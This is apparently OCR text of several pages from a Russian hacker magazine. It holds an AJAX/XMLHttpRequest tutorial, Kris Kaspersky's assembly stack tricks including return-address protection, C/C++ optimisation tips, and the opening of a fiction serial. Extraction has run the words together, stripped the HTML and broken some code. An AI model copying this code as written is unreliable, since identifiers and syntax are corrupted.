codingСоздание объекта классаXMLHttpRequestfunction createHttpRequest () {var httpRequest;var browser = navigator.appName;if (browser == "Microsoft InternetExplorer"){httpRequest = newActiveXObject ("Microsoft.XMLHTTP");}else{httpRequest = newXMLHttpRequest ();}return httpRequest;}Что умеет делать этот объект? Самойглавной функциональностью для насбудет возможность отправлять запросы насервер и обрабатывать ответы в асинхронномрежиме. Нам придется использоватьметод установки параметров соединенияopen и метод отправки запроса send.Также мы будем задействовать свойствоonreadystatechange для установки обработчикаполучения ответа на запрос. Полныйсписок свойств и методов XMLHttpRequest,можно посмотреть в таблицах «Методыкласса XMLHttpRequest» и «Свойства классаXMLHttpRequest».Теперь, я думаю, ты достаточно осведомлени готов писать метод отправкизапроса. В качестве параметров мы будемпередавать ему адрес, на который идетзапрос (я назвал этот параметр «file», таккак использовал относительные адреса),идентификатор HTML-элемента — _resultId,в котором будем отображать результат,и обработчик ответа на данный запрос— getRequestProc. Реализация проста, какарбуз: определяем параметры соединения,устанавливаем обработчик и посылаемзапрос с пустым телом на сервер.Метод отправки запроса на серверfunction sendRequest (file, _resultId,getRequestProc) {resultId = _ resultId;document.getElementById(resultId).innerHTML = 'Подождите,идет загрузка…';httpRequest.open ('get', file);httpRequest.onreadystatechange =getRequestProc;httpRequest.send (null);}Осталось написать обработчик ответа,и наш мини-Аякс-движок готов. Здесь тожевсе просто. Проверяем, полностью ли переданответ на запрос, и выводим полученныйответ в элемент с идентификатором_resultId, который мы так предусмотрительносохранили:Метод обработки ответа сервераfunction getRequest (){if (httpRequest.readyState == 4){document.getElementById(resultId).innerHTML = httpRequest.responseText;}}Теперь добавим переменных и упакуем всев один файл ajax.js:Переменныеvar httpRequest = createHttpRequest();var resultId = '';Скажи миру «Привет»Раз библиотека готова, можно попробоватьее использовать. Вначале скажем миру «Привет»,а затем модернизируем приложение дляработы с динамическими табами (вкладками).«Привет, мир!» на АяксеПривет, мир AJAX'a


codingИспользованиеАякса сильно повышаетинтерактивностьсайта. При работепо принципам Аяксаследует уделятьособое вниманиебезопасности, ведьпользователь видиттвой клиентский код.Генерация HTMLна стороне клиентапозволяет быстрее загружатьсястраницам.getRequest);">Вкладка №1Вкладка№2Вкладка№3На нашем DVD тебяждет сюрприз!www.dhtmlgoodies.com — библиотека готовыхскриптов AJAXи DHTML.www.w3.org/TR/XMLHttpRequest— черновой вариантстандарта объектаXMLHttpRequest.http://ru.wikipedia.org/wiki/Ajax — статьяпро Аякс в Википедии.Очень рекомендую такжепосмотретьанглийский вариант.http://code.google.com/webtoolkit— библиотека дляAJAX-приложений отGoogle.www.xajaxproject.org— еще одна библиотекадля связки AJAXи PHP.http://prototype.conio.net — фреймворк дляразработки JavaScriptприложений./ 136xàêåðКак видишь, ссылок теперь 3, и загружают они разныеHTML-файлы. В результате получилась страничка с динамическиизменяемым содержанием.Серверная частьНабаловавшись вдоволь с обычными страничками,посмотрим, что можно сделать с помощью скриптов настороне сервера. Писать будем на самом распространенному нас языке для веба — PHP. Сначала повторим нашуспех и скажем «Привет». Действия полностью аналогичныпредыдущим, но только запрос адресуется на скрипт:Страница с AJAX‐ссылкой на PHP-файлКликни помне, чтобы отправить запрос Здесь будет результат запросаА PHP-файл должен просто что‐то выводить:PHP-файл с приветствиемСверхдинамичный поискТеперь мы вооружились до зубов и можем написатьнастоящее AJAX-приложение. В качестве не оченьсложного примера я предложу «сверхдинамичныйпоиск», который был подсмотрен мной в одном изфреймворков на Python. Идея такая: имеется формапоиска, пользователь вводит в ней букву за буквойискомого слова, и после каждого нажатия на клавишуформируются результаты. Попробую проиллюстрировать.Пользователь вводит букву «Х» — на экране автоматическивыводятся ссылки на все статьи, в которыхэта буква встречается. Затем он вводит «а», и поискведется уже по сочетанию «Ха». И так далее. Реализациюначнем с HTML-видами нашего проекта:HTML-форма для сверхдинамичного поискаПоиск на Аяксе в действииПривет, мир AJAX'a function sendSearchRequest () {sendRequest('search.php?q=' + document.getElementById('searchQuery').value, 'result',getRequest);МатчастьAJAX (Asynchronous JavaScript and XML —«Асинхронный JavaScript и XML») — это не какая‐тоотдельная технология или язык, это принципразработки интерактивных веб‐страниц(иногда употребляют термин «сверхинтерактивные»страницы). Датой рождения этой методологиипринято считать 18 февраля 2005 года— день выхода в свет статьи Джесси ДжеймсаГарретта «Новый подход к веб-приложениям».Как мы видим, технология довольно молодая(современная), и в полной мере ее смогли освоитьне многие сайты.Впервые этот принцип начала активно использоватьодна небольшая компания из Редмонда,реализовав в своем новом браузереXMLHttpRequest для работы с веб-версиейOutlook. Затем последовали реализации в браузерахMozilla и Apple Safari. Сейчас технологияAJAX применяется на самых разных сайтах,особенно в этом усердствует компания Google,которая использует эту технологию в значительнойчасти сервисов.12/96/ 06


}Введите текст для поиска:


codingМетоды классаНазвааниеОписааниеabort ()Отменяет текущий запрос,getAllResponseHeaders ()возвращает полный списокHTTP-заголовков в виде строки.getResponseHeader (headerName) Возвращает значение указанно -го заголовка.open (method, URL, async, userName, password) Определяет метод, URL и другиеопциональные параметры запроса; параметр async опреде -ляет, происходит лиработа в асинхронном режиме.send (content)Отправляет запрос на сервер.setRequestHeader (label, value)Добавляет HTTP-заголовок кзапросу.информацию в отформатированном виде.Сделать это очень просто с помощью объектов,встроенных в JavaScript:Получение и обработка информациио банкеfunction getXmlRequest (){if (httpRequest. readyState ==4){var xmlDocument =httpRequest.responseXML;var bankName = xmlDocument.getElementsByTagName ('bank_name').item(0).firstChild.data;var bankAddress =xmlDocument.getElementsByTagName('bank_address').item (0).firstChild.data;Свойства классаНазваниеonreadystatechangereadyStateresponseTextresponseXMLstatusstatusTextОписааниеОбработчик события, котороепроисходит при каждой сменесостояния объекта.Возвращает текущее состояниеобъекта (0 — неинициализирован, 1 —открыт, 2 — отправка данных, 3 — получениеданных и 4 — данные загружены).Текст ответа на запрос.Текст ответа на запрос в виде XML,который затем может быть распарсенпосредством DOM.Возвращает HTTP‐статус в виде числа(404 — «Not Found», 200 — «OK» и т.д.).Возвращает статус в виде строки («NotFound», «OK» и т.д.).document.getElementById(resultId).innerHTML ='Название банка: ' + bankName + '' +'Адрес банка: ' +bankAddress;}}Если ты заметил, здесь в основном используютсясвойства и методы объектаresponseXML, который представляет собойответ сервера на запрос в виде XML.C ним довольно удобно работать, так как всенеобходимые функции встроены. Сама жессылка будет выглядеть так:Вызов функции getXmlRequest в качествепараметраКликни по мне,чтобы отправить запрос однако, часто выражается мнение, чтоэто просто дань моде и можно использоватьдругие форматы — от чистого текстаи HTML до текста на JavaScript. Но естьодин существенный факт: при передачеданных в виде XML, они занимают меньшеместа и быстрее грузятся.Разберем такой пример. Есть XML-файл(возможно генерящийся скриптом), которыйсодержит название и адрес некогобанка :)./ 138xàêåðИнформация о банке в виде XMLБанк Васи Пупкина ул. Ленинградская,57Его надо получить, распарсить и вывестиВажно отметить, что в качестве параметрапередается функция getXmlRequest, которуюмы написали.Это еще не конецВ этой статье нам удалось не только разобратьосновы AJAX, но и копнуть гораздоглубже. Хотелось, чтобы ты использовалAJAX в веб‐строительстве на своих страничкахдля придания им большей динамикии юзабильности, а уж на наше содействиев этом вопросе можешь рассчитывать :) z.12/96/ 06


codingНедостатки АяксаТак же как на любую бочку меда всегда найдется ложка дегтя,любая технология всегда имеет не только плюсы, но и минусы.Ниже я перечислю наиболее существенные недостатки AJAXи опишу возможные методы их устранения.стараяПоисковая оптимизацияПо моему мнению, главной проблемой страниц на Аяксе являетсяих «невкусность» для поисковиков, поэтому такие страницыочень плохо ими «съедаются», ведь поисковик не умеет переходитьпо ссылкам JavaScript. Огромное количество пользователеймогут пройти мимо твоего сайта, даже если на нем естьтребуемый контент. Следовательно, его нужно сделать доступнымдругим способом, хотя бы самым банальным — смастеритьстраничку «Карта сайта» с полным списком страниц.КроссбраузерностьУ пользователей есть плохое качество — они пользуютсяразными браузерами. Казалось бы, нет проблем — пиши кодна HTML, CSS и JavaScript, который соответствует стандартам,и все. Но не тут‐то было — разные браузеры поддерживаютстандарты неодинаково. Что ж, ставим себе несколько самыхпопулярных браузеров (причем необходимо поставить ещеи их разнообразные версии) и тестируем наши веб‐странички.Пользователи без AJAXТы будешь смеяться, но есть странные типы (я, например),у которых JavaScript работает только для определенных сайтов,а для других отключен, или у которых нестандартный браузер,незнающий про AJAX. Как же им быть? Обязательно сделай альтернативнуюHTML-версию страницы, бери пример с gmail.com!Кнопка «Назад»По данным исследователей, кнопка браузера «Назад» являетсявторым по популярности средством навигации после переходапо ссылке. То есть пользователь всегда рассчитывает навозможность вернуться на одну страницу назад. Веб‐странички,которые созданы с использованием Аякса, такую возможностьне поддерживают, потому что их содержание создается«на лету». Чтобы как‐то это исправить, можно запрограммироватьсоответствующую логику на JavaScript и сделать ссылку«Назад», щелчок на которую позволит пользователю перейтина предыдущую страницу. Второй вариант, более универсальныйи чаще всего легче реализуемый, — использовать невидимыйIFRAME, который будет накапливать историю переходов.ИзбранноеТвоя страничка на Аяксе настолько понравилась посетителюсайта, что он решил кинуть ее в «Избранное» (илив «Закладки», если посетитель — лисовод). Но у него ничегоне получится, так как у группы страничек на Аяксе всегдаадрес первой из них. Справиться с проблемой опять же можнодвумя способами: программингом и хаком. Программерскоерешение заключается в том, чтобы каждая сгенерированнаястраница имела свой адрес и ссылку «Добавить в Избранное»,которая будет реализовывать нужную логику. Второй способ— использовать ссылку на подраздел, который идет в адресестраницы после знака диеза «#». Дело в том, что с помощьюJavaScript эту часть адреса можно изменять. Таким образом,этот хак может частично решить и проблему кнопки «Назад».xàêåð 12/96/ 06/ 139


codingКРИС КАСПЕРСКИАссемблерныеНатягиваем стек по‐хакерскиАссемблер предоставляет практически неограниченную свободу для самовыражения и всевозможных извращений,что выгодно отличает его от языков высокого уровня. Вот мы и воспользуемся этой возможностью,извратившись не по‐детски и сотворив со стеком то, о чем приплюснутый Си только мечтает.ПТурбопередача стековых аргументовередачу аргументов через стекможно существенно ускорить,в случае если аргументыпредставляют собой константу,известную еще на стадии трансляции. Классическийспособ передачи выглядит так:Классический способ передачи стековыхаргументовpush 000000669push 000000999push 000000696call 000000666Довольно расточительное (в плане процессорныхтактов) решение, особенно еслифункция вызывается многократно. При этомоперанды команды PUSH перегоняются изсекции .text (находящейся в кодовой кэшпамятипервого уровня) в область стека, находящуюсяв кэш-памяти данных. Ну и зачем/ 140гонять их туда и обратно, когда аргументыможно использовать непосредственно поместу хранения?Усовершенствованный пример выглядит так:.codeMOV EBP, ESPMOV ESP, offset func_arg + 4CALL my_funcMOV ESP, EBP.datafunc_arg DD 00h, 696h, 999h, 669hИ хотя размер кода после оптимизации нетолько не сократился, но даже увеличился(14h байт до оптимизации и 1Eh — после), мысохранили немного стековой памяти и сократиливремя выполнения. Причем чем большеаргументов передается функции, тем в болеевыигрышном положении оказывается оптимизированныйвариант, поскольку неоптимизированныйвынужден тратить на каждыйаргумент один дополнительный байт!8BECmov ebp, espBC66000000 mov esp, 000000013E80E000000 call 0000006668BE5mov esp, ebp…00 00 00 00 96 06 00 00? 99 09 00 00 6906 00 00Несколько замечаний по поводу. Первое.Операционные системы семействаWindows NT (к которым принадлежатWindows 2000, Windows XP, Windows Vista,Windows Server 2003 и Windows ServerLonghorn) гарантируют целостность содержимогостека выше его вершины (для адресовменьших, чем ESP), поэтому переносяттакие извращения безо всякого ущерба дляработоспособности программы. Операционныесистемы семейства Windows 9xxàêåð 12/96/ 06


codingизвращенияведут себя иначе, бесцеремонно используявсе, что находится выше ESP в целях«производственной необходимости», чтоведет к искажению секции данных и последующемукраху программы. Поэтому все,что было сказано здесь, распространяетсятолько на NT.Замечание номер два. Перед аргументаминеобходимо оставить двойное слово(а в 64‐битном режиме — четвертное) длясохранения адреса возврата. При этомсекция данных, где находится это слово,должна быть доступна на запись. Если жефункция вызывается из одного единственногоместа и адрес возврата известензаранее, ничего не мешает положить егорядом с аргументами. Но тогда функциюпридется пускать командой jump, а не call,что еще больше увеличиваетпроизводительность:Вызов функции с предопределенным адресомвозврата командой JMP.codeMOV EBP, ESPMOV ESP, offset func_arg + 4JMP my_funchere:MOV ESP, EBP.datafunc_arg DD offset here, 696h, 999h,669hКстати говоря, ни адрес возврата, ни аргументыфункции вовсе не обязаны быть константами,известными на стадии компиляции,и они могут свободно модифицироватьсяв любой момент командами MOV и STOS.Также если аргументы хранятся в локальныхпеременных, то засылать их в стекнеобязательно! Достаточно лишь скорректироватьрегистр ESP таким образом,чтобы переменные-аргументы оказались навершине. Естественно, порядок размещенияаргументов в памяти должен совпадатьс порядком передачи аргументов, но наассемблере, в отличие от языков высокогоуровня, мы можем самостоятельно выбиратьнужную схему размещения переменных, такчто это не проблема.Еще одна тонкость: «оптимизированный»вариант обладает всеми формальнымиатрибутами «передачи по значению», ноде-факто аргументы передаются по ссылке.То есть совсем наоборот! Аргументы передаютсяпо значению, но это значение послевыхода из функции сохраняет свое состояние,ведет себя так, как будто бы оно былопередано по ссылке. Иногда это экономиттакты процессора и сокращает потребностив памяти, но иногда ведет к трудноуловимымошибкам, лишний раз подтверждаятезис, что нет в мире совершенства.И последнее: при всех этих играх со стекомследует помнить, что целый ряд API-функцийтребует, чтобы указатель стека был выровненна границу четырех байтов. Нарушениеэтого правила ведет к непредсказуемымпоследствиям.Повторное использование кадра стекаПри входе внутрь функции большое количестволокальных переменных инициализируетсяконстантами или значениями,инвариантными по отношению к самойфункции (то есть другими переменными,чаще всего глобальными). Причем инициализацияобычно осуществляется командойMOV, а для обслуживания строковых переменныхприходится прибегать кxàêåð 12/96/ 06/141


codingПередача стековых аргументов напрямую, без их фактической засылки в стекREP MOVSB. Все это медленно, громоздкои непроизводительно.А почему бы не подготовить кадр стека еще настадии трансляции?! В грубом приближенииэто будет выглядеть так:Вызов функции с заранее подготовленнымиаргументами и локальнымипеременными.codeMOV EBP, ESPMOV ESP, offset func_argJMP my_funcMOV ESP, EBP…my_func:MOV EBP, ESPSUB ESP, offset func_locals— offset return_address………MOV ESP, EBPRETN.datafunc_locals:var_1 DB 66hvar_2 DD offset globalFlagvar_s DB "hello",0var_x DD 0var_y DD 0return_address:DD 00hfunc_args:DD 696h, 999h, 669hВ некоторых случаях достигается простоколоссальное ускорение, однако тут естьодин подводный камень — при повторномвызове функции все «инициализированные»переменные сохраняют своитекущие значения и наступает полныйоблом. Фактически мы добились того, чтопревратили локальные стековые переменныев статические! Бесспорно, иногда этоочень хорошо, но в 90% случаев нам нужносовсем другое. Вот и устроим себе это другоес помощью REP MOVS! Подготавливаеминициализированные локальные переменныена стадии создания ассемблернойпрограммы, а затем копируем их в кадрфункции при его открытии. Это намногобыстрее, чем инициализировать каждуюлокальную переменную по отдельностикомандой MOV.К тому же кадры некоторых функций достаточносхожи между собой, что позволяетобъединить несколько кадров в один!Достаточно сказать, что каждая функциянуждается в переменных, инициализированныхнулями. Чтобы не делать много разодин и тот же MOV [EBP+XXh], 0, лучше(и быстрее) выполнить REP STOS!Вот в чем истинная сила ассемблера! Вотизвращения, не доступные языкам высокогоуровня, но… самые зверские издевательстваеще впереди!!!Защита адреса возврата от переполненияПроблема переполняющихся буферовпородила огромное количество червей,открыв безграничный простор для хакерскихатак. Но, несмотря на все ухищрения, предпринятыекак со стороны производителейкомпиляторов, так и со стороны разработчиковоперационных систем, она остаетсянерешенной и по сей день.Ассемблер предоставляет по меньшей мере2 надежных механизма, до которых компиляторыеще не «додумались». Первый и самыйпростой — это 2 стека: один для храненияадресов возврата, другой для передачиаргументов и локальных переменных. Кстатиговоря, существуют процессорные архитектуры,в которых этот механизм реализованизначально. Но x86‐семейство к ним, увы, неотносится, поэтому приходится брать в лапынапильник и точить.Для организации двух раздельных стековнам требуется всего лишь 1 дополнительныйрегистр (который можно выделить из пуларегистров общего назначения). Пусть этобудет регистр EBP, указывающий на стекс локальными переменными. Собственноговоря, неправильно называть его стеком,поскольку в операционных системах семействаWindows стек представляет собой особыйрегион памяти, подпираемый сверху стороже-/ 142xàêåð 12/96/ 06


codingТрюкиот КрысаКрис КасперскиПрограммистские трюки и фичи на С\С++ от Криса Касперски01Массив, начинающийся с единицыВ Си массивы начинаются с нуля, а во многихдругих языках — с единицы, что сильно напрягаетпри переходе с одного языка на другойи еще больше — при переносе программ.Приходится вносить множество правок всамых разных местах и потом долго отлаживатьпрограмму. Да и сами сишники далеконе в восторге от того, что индекс последнегоэлемента массива размером N равен N-1.Это не только служит источником досадныхошибок, но в некоторых случаях снижаетпроизводительность.Существует хитрый хак, позволяющий создаватьмассивы, начинающиеся с единицы, или,строго говоря, вообще с любого числа. Этоневероятно полезно в тех случаях, когда намнужно создать массив, проиндексированныйтак: k, k+1,,,k+n (например, возрастом человекаот 16 лет до 100). Смотри:// задаем размер массива, его тип и// индекс первого элемента#define SIZE _ OF _ ARRAY 0x1000#define TYPE _ OF _ ARRAY int#define INDEX _ OF _ FIRST _ ELEMENT 1// объявляем переменную-указательTYPE _ OF _ ARRAY *p;// выделяем блок памяти требуемого/ 144xàêåð// размераp = (TYPE _ OF _ ARRAY*)malloc(SIZE _OF _ ARRAY*sizeof(TYPE _ OF _ ARRAY));// проверка на успешность выделения// памятиif (!p) /* обработка ситуации ошибкивыделения */// сдвигаем указатель на нужное// количество позиций, так, чтобы индекс// первого элемента стал равен// INDEX _ OF _ FIRST _ ELEMENTp -= INDEX _ OF _ FIRST _ ELEMENT;…// работаем с массивом…// возвращаем указатель на местоp += INDEX _ OF _ FIRST _ ELEMENT;;// освобождаем блок памятиfree(p);Аналогичным путем можно обрабатыватьи локальные массивы (в этом случае нашазадача даже упрощается, поскольку не нужнозаботиться об освобождении памяти):// задаем размер массива, его тип ииндекс первого элемента#define SIZE _ OF _ ARRAY 0x1000#define TYPE _ OF _ ARRAY int#define INDEX _ OF _ FIRST _ ELEMENT 1// выделяем блок памяти требуемого// размераTYPE_OF_ARRAY raw[SIZE_OF_ARRAY];TYPE _ OF _ ARRAY *p = raw;// сдвигаем указатель на нужное// кол-во позиций, так, чтобы индекс// первого элемента стал равен// INDEX _ OF _ FIRST _ ELEMENTp -= INDEX _ OF _ FIRST _ ELEMENT;02Марафон битовых и логическихоперацийВ некоторых руководствах и конференцияхможно прочесть, что выражение вида«(a || b || c)» практически всегда быстрее, чем«(a | b | c)». Так ли это? И если так, то почему?Попробуем разобраться. Поскольку всесовременные компиляторы поддерживают«быстрые булевы операции», они вычисляютзначение сложного выражения лишь допервой лжи. То есть если a == 0, то оставшуюсячасть выражения можно не проверять,поскольку уже и так все ясно.Напротив, битовое выражение «(a | b | c)»требует вычисления всех переменных, чтона первый взгляд выглядит более похабными менее производительным. Но это только напервый взгляд. Все зависит от того, насколькочасто «быстрая булева оптимизация»прерывает вычисление выражения до его12/96/ 06


codingзавершения. Если все переменные преимуществоравны нулю, то ни о каком выигрышеговорить не приходится, а вот код получаетсяпри этом намного более громоздким, что легкоподтверждается дизассемблером:mov eax, [esp+arg _ 0]testeax, eaxjnz short locret _ 34mov ecx, [esp+arg _ 4]testecx, ecxjnz short locret _ 34mov ecx, [esp+arg _ 8]Что мы видим?! Условные переходы. То естьветвления. А процессоры с конвейернойархитектурой (типа Pentium Pro+) условныхпереходов не любят, особенно если они выполняютсяв цикле. Как следствие — вместообещанного выигрыша мы получаем падениепроизводительности.Результат дизассемблирования foo(inta,int b,int c)(if (a | b | c) return a;)mov eax, [esp+arg _ 0]mov edx, [esp+arg _ 4]mov ecx, eaxor ecx, edxmov edx, [esp+arg _ 8]or ecx, edxretnА вот в выражении «(a | b | c)» никакихусловных переходов нет, и оно выполняетсяпредельно быстро! Поэтому используй«(a || … || x)» только при большом количествеэлементов (намного больше трех) и только,если одна или несколько переменныхгораздо чаще равны TRUE, чем FALSE (приэтом они должны стоять первыми слева).То же самое относится и к «&&», лишь с тойоговоркой, что переменные, преимущественноравные FLASE, следует выдвигатьвперед.03Оценка качества генератораслучайных чиселГенератор случайных чисел используется нетолько в криптоалгоритмах, но и в более «приземленных»программах. Например, в играх.И очень часто нам важно знать, насколькослучаен выдаваемый им результат (допустим,мы моделируем казино в поисках беспроигрышнойстратегии).Причем кроме общей вероятности, представляетинтерес выяснить степень распределениявероятности по каждому из битов.Некоторые генераторы страдают хроническойпредсказуемостью определенных бит(как правило, младших или старших).Следующая программа как раз и позволяетоценить, насколько предсказуем тот илииной бит:#define N 10000unsigned int buf[sizeof(int)*8];main(){int x=0;unsigned int a, l;srand((unsigned)time(NULL));for (l = 0; l < sizeof(int)*8; l++){for (a = 0,x = 0; a < N; a++) {buf[l] += ((rand()>>l) & 1);}}}for (a = 0; a < sizeof(int)*8; a++)printf(«%02d:%02d.%02d\t«,a,10000*buf[a]/N/100,10000*buf[a]/N%100);printf(«\n«);Результат прогона на MS VC 6 показывает,что биты от 0 до 14 генерируются довольнотакикачественно (с вероятностью 50/50 ипогрешностью порядка 1%), а вот, начинаяс 15 бита, мы имеем сплошной облом!!! Тоесть, по сути, rand() возвращает 14 битныйрезультат, не дотягивающий даже доWORD!00:50.24 01:50.23 02:49.84 03:49.2204:49.81 05:49.58 06:49.84 07:49.7708:50.24 09:50.43 10:50.62 11:50.1012:49.89 13:49.49 14:50.90 15:00.0016:00.00 17:00.00 18:00.00 19:00.0020:00.00 21:00.00 22:00.00 23:00.0024:00.00 25:00.00 26:00.00 27:00.0028:00.00 29:00.00 30:00.00 31:00.00А вот gcc 3.3.4 (другие версии не тестировались)дает совсем другой результат, задействовав31 бит и на десятые доли процентаобогнав MS VC по качеству. В некоторыхприложениях эта разница оказывается болеечем критична! Так что gcc рулит!00:50.71 01:50.23 02:49.54 03:50.1104:49.42 05:50.87 06:49.87 07:49.5308:50.16 09:50.38 10:50.60 11:49.6012:50.53 13:49.75 14:49.98 15:50.0716:49.34 17:49.54 18:49.74 19:49.4520:50.40 21:50.62 22:49.70 23:49.5624:49.40 25:50.38 26:49.73 27:50.2328:49.90 29:49.41 30:49.75 31:00.0004Самое быстрое сравнение памятиБольшинство реализаций функции memcmp()так или иначе сводятся к оптимизированномуассемблерному алгоритму:while ( --count && *(char *)buf1 ==*(char *)buf2 ){buf1 = (char *) buf1 + 1;buf2 = (char *) buf2 + 1;}А как насчет того, чтобы ускорить его разаэдак в два, причем без использования SSE,pre-fetch'а и прочих подобных расширений?Поверь мне, это возможно! Достаточноразбить блоки памяти на кусочки от 128 байтдо ~4 Кбайт каждый (в зависимости отразмера самих блоков) и сравнивать несами блоки, а контрольные суммы «кусочков».Если функции расчета контрольныхсумм разместить в отдельных потоках, то намногоядерных и HT-процессорах они будетвыполняться параллельно, в результате чегопроизводительность практически удвоится.Но даже на однопроцессорных машинах мыполучим определенный выигрыш, посколькуконтроллеры памяти оптимизированы подработу с одним потоком памяти, попеременноеобращение к двум ячейкам, находящимсяв различных DRAM-банках в некоторыхслучаях вызывает значительную деградациюпроизводительности (подробнее об этомможно прочитать в моей книге «Техникаоптимизации программ», электронная версиякоторой доступна на http://kpnc.opennnet.ru иftp://nezumi.org.ru).Единственная проблема заключается в том,что идентичность CRC еще не гарантируетидентичности блоков! То есть данныйалгоритм никогда не выдает «ложных негативных»результатов, но с определенной(правда, очень невысокой) степенью вероятностьюспособен на «ложный позитив». Поэтомуего следует применять для сравнениятех блоков, о которых заранее известно,что они скорее всего различны, и мы простохотим убедиться в этом, поскольку еслиCRC-алгоритм не обнаружил сравнений, для100% уверенности необходимо инициироватьстандартный алгоритм сравнения.Впрочем, при дроблении сравниваемыхблоков на кусочки порядка 128 байт вероятностьколлизий CRC32 (и тем более CRC64)насколько мала, что ей можно полностьюпренебречь (если, конечно, речь идет онепредумышленной «подделке» блоковхакерами). zxàêåð 12/96/ 06/145


креатиffmeganewsОлег «mindw0rk» Чебенеев/ mindw0rk@gameland.ru /лабиринтЧасть 1. ГородОн попал в тоннель. Впереди стремительноприближалось окно света. Потом он полностьюокунулся в ослепляющую белизну. Вокругне было ничего, только белый свет… Всеэто продолжалось несколько секунд, как иговорил Храмовник. Ровно столько занималпереход в Лабиринт. Затем свет отступил,и глаза Лайса начали различать очертаниятого места, в котором он оказался.Это была зеркальная комната пять на пятьметров, абсолютно пустая, без каких‐либопризнаков выхода. Лайс поднялся с пола,подошел к одной из стенок, в которой былоотчетливо видно его отражение. Из зеркалана него смотрел зрелый мужчина, слегканебритый, в сером свободном костюмеспортивного типа. На ногах были удобныетуфли в тон штанам. Он слышал, что этунадежную и практичную одежду специальноразработали для всех скитальцев Лабиринта,чтобы хоть как‐то облегчить им предстоящиеиспытания. Но это мало кому помогло…Лайс прикоснулся к зеркальной стенке итут же отпрянул назад — отражение сталостремительно меняться. Оно скукожилосьи за какие‐то несколько секунд покрылосьморщинами. Волосы покрылись сединой,ногти выросли в двое, кожа побледнела ииссохла. Оно смотрело прямо в глаза Лайсу,и в этом взгляде читался ужас. Перед нимтеперь находился не он сам, а дряхлыйстарик, едва стоящий на ногах. НевольноЛайс опустил глаза к своим ладоням — внем ничего не изменилось. Это всего лишьиллюзия, одна из проделок Лабиринта,но все‐таки ему стало жутковато. Старикв зеркале упал на пол и, издав последнийвыдох, стал превращаться в мумию. Такие,вероятно, находят в гробницах египетскихпирамид — черные, засохшие, с пустотой вмертвых глазницах.Интересно, чем его еще удивит зеркальнаякомната до тех пор, пока он не умретот отсутствия воздуха? Но Лайс решил недожидаться этого. Он внимательно ощупалвсе стороны коробки и едва почувствовалхолодок между стыками зеркал в одной изних. Отойдя в сторону, Лайс повернулся кэтой стороне боком и с разбегу бросился назеркало. Раздался дребезг, осколки встретилиего стеклянным дождем, и он кубаремскатился по наклонному коридору на улицу.Это был город, очень похожий на негритянскийквартал в старом Нью-Йорке. Такие жеузкие проходы, грязные стены домов, изуродованныенеприличными надписями, мусоркругом. Только одно отличало это место отГарлема — абсолютная, гробовая тишина.В этом городе не было машин, пешеходов,даже птиц. Ни одной живой души.— Эй! — крикнул в воздух Лайс, но ответомему было только шуршание пролетевшейрядом старой газеты.Лайс наугад выбрал сторону и двинулсявперед. На правой обочине находился заброшенный,проржавевший насквозь детскийавтобус. Без стекол и шин, он прекрасно вписывалсяв общую картину города-призрака.Рядом валялась потрескавшаяся от временивывеска «Welcome to Labyrinth».Несмотря на тишину, Лайс знал: опасностиподстерегают повсюду. Внутри салона автобусамогла оказаться теплочувствительнаявзрывчатка; внезапно поднявшийся ураганмог сорвать с места вывеску и раскроить ейчереп Лайса; в конце концов, в этом городемогли водиться мутанты, только и ждущие,чтобы расправиться с очередной жертвой.Скитальцы, попавшие в Лабиринт, должныбыли быть постоянно начеку.За очередным углом улицы Лайс увиделвитрину оружейного магазина. Осторожно заглянувза стекло, он убедился, что там никогонет, и зашел внутрь. Как и весь город, магазинбыл давно заброшен, стойка была покрытасантиметровым слоем пыли, а оружейныешкафы пустовали. Лайс обшарил все углыи, только когда уже отчаялся найти какое‐нибудьоружие, заметил спрятанную под кассойбиту. Это была гладко полированная дубинкас этикеткой на рукояти «Big Bulls». В юностиЛайс занимался бейсболом и даже завое-© Стас «Chill» Башкатов/ 146xàêåð12 /96/ 06


креатиffвал среди ровесников авторитет лучшего«подающего», но теперь бита должна былапослужить другим целям.Едва Лайс успел взять биту в руки, как услышалсзади тихий, угрожающий рык. В пятиметрах от него, сразу у выхода из магазинастоял огромный черный пес с грязной скомканнойшерстью. Вместо левого глаза у негозияла черная дыра, правым он с ненавистьюсмотрел на Лайса.Человек и собака не двигались, каждый изних выжидал, кто сделает первый шаг. В этотмомент одна из коробок, находившихся наверхней полке в торговом зале, с грохотомсвалилась вниз. Этого сигнала было достаточно— ринувшись в атаку, пес прыгнул,метя зубами в горло. Лайс ощутил зловонныйзапах разложившейся плоти, исходившийиз пасти животного, и успел увидеть, каксверкнули его острые клыки. Но достичьсвоей цели тварь не успела. Сделав резкийзамах, как в старые добрые времена, Лайс совсего духу засадил псу по черепушке. Издавжалкий визг, животное отлетело на несколькометров и притихло. Только нога продолжалаподергиваться в конвульсиях. Лайс осторожноподошел и увидел, как из головы пса течетчерная жидкость.«Надо же, не потерял форму», — подумал они отправился к выходу.* * *Лайс медленно шел по центральной улице,держа биту наготове. Где‐то в этом городемогли быть другие скитальцы, но шансы найтиих были невысоки. Территория Лабиринтапростиралась далеко за пределы искусственногоГарлема, и даже сами создателине знали всех его тайн. За двадцать пять летздесь побывали тысячи людей, которые пожертвоваливсем ради попытки осуществитьглавную цель. Многие сходили с дистанции впервые же минуты и часы, остальные простозастревали, не имея никакой возможностивернуться и не представляя, что делать дальше.Каждый, кто сюда приходил, считал, чтосможет одолеть Систему и пройти все ловушки.Но до сих пор дойти до конца не удалосьникому. Лайс был одним из добровольцев; отостальных он отличался тем, что на его сторонебыл Храмовник — один из Богов Лабиринта.Поэтому у него был шанс добиться того,чего не удавалось еще никому.Краем уха Лайс услышал гул, едва различимый,но несущий в себе угрозу. Он оглянулсяназад и увидел вдали желтый туман, надвигающийсяна город. С его приближениемгул нарастал. Лайс решил ускорить шаг ипостепенно перешел на бег. Гул неприятноотзывался в ушных раковинах, как будто Лайснаходился вблизи включенной на максимальнуюгромкость колонки. Северная частьгорода погрузилась в желтую массу.Лайс уже понял, что это, и несся во весь опорпо пустынной улице, пытаясь спастись. Гулстал невыносимым, голова буквально раскалываласьна части, и Лайс подумал, что можетне выдержать еще до того, как смертоносныйрой настигнет его. Желтое цунами ужебыло не дальше, чем в трехстах метрах. Ещекаких‐то несколько минут и…В этот момент Лайс увидел открытый люк— свое спасение. Чувствуя, что сердце вотвотвыпрыгнет из груди, ловя воздух ртом, онподнажал еще немного, и за несколько секунддо того, как рой его настиг, прыгнул вниз.Думать о том, насколько глубок подземныйколодец и что находится внизу, времени ужене оставалось.Несколько мгновений свободного падения,затем глухой удар. И мрак.* * *Когда Лайс очнулся, гул вверху уже стих,но ему на смену пришла другая напасть— отвратительная вонь канализации. 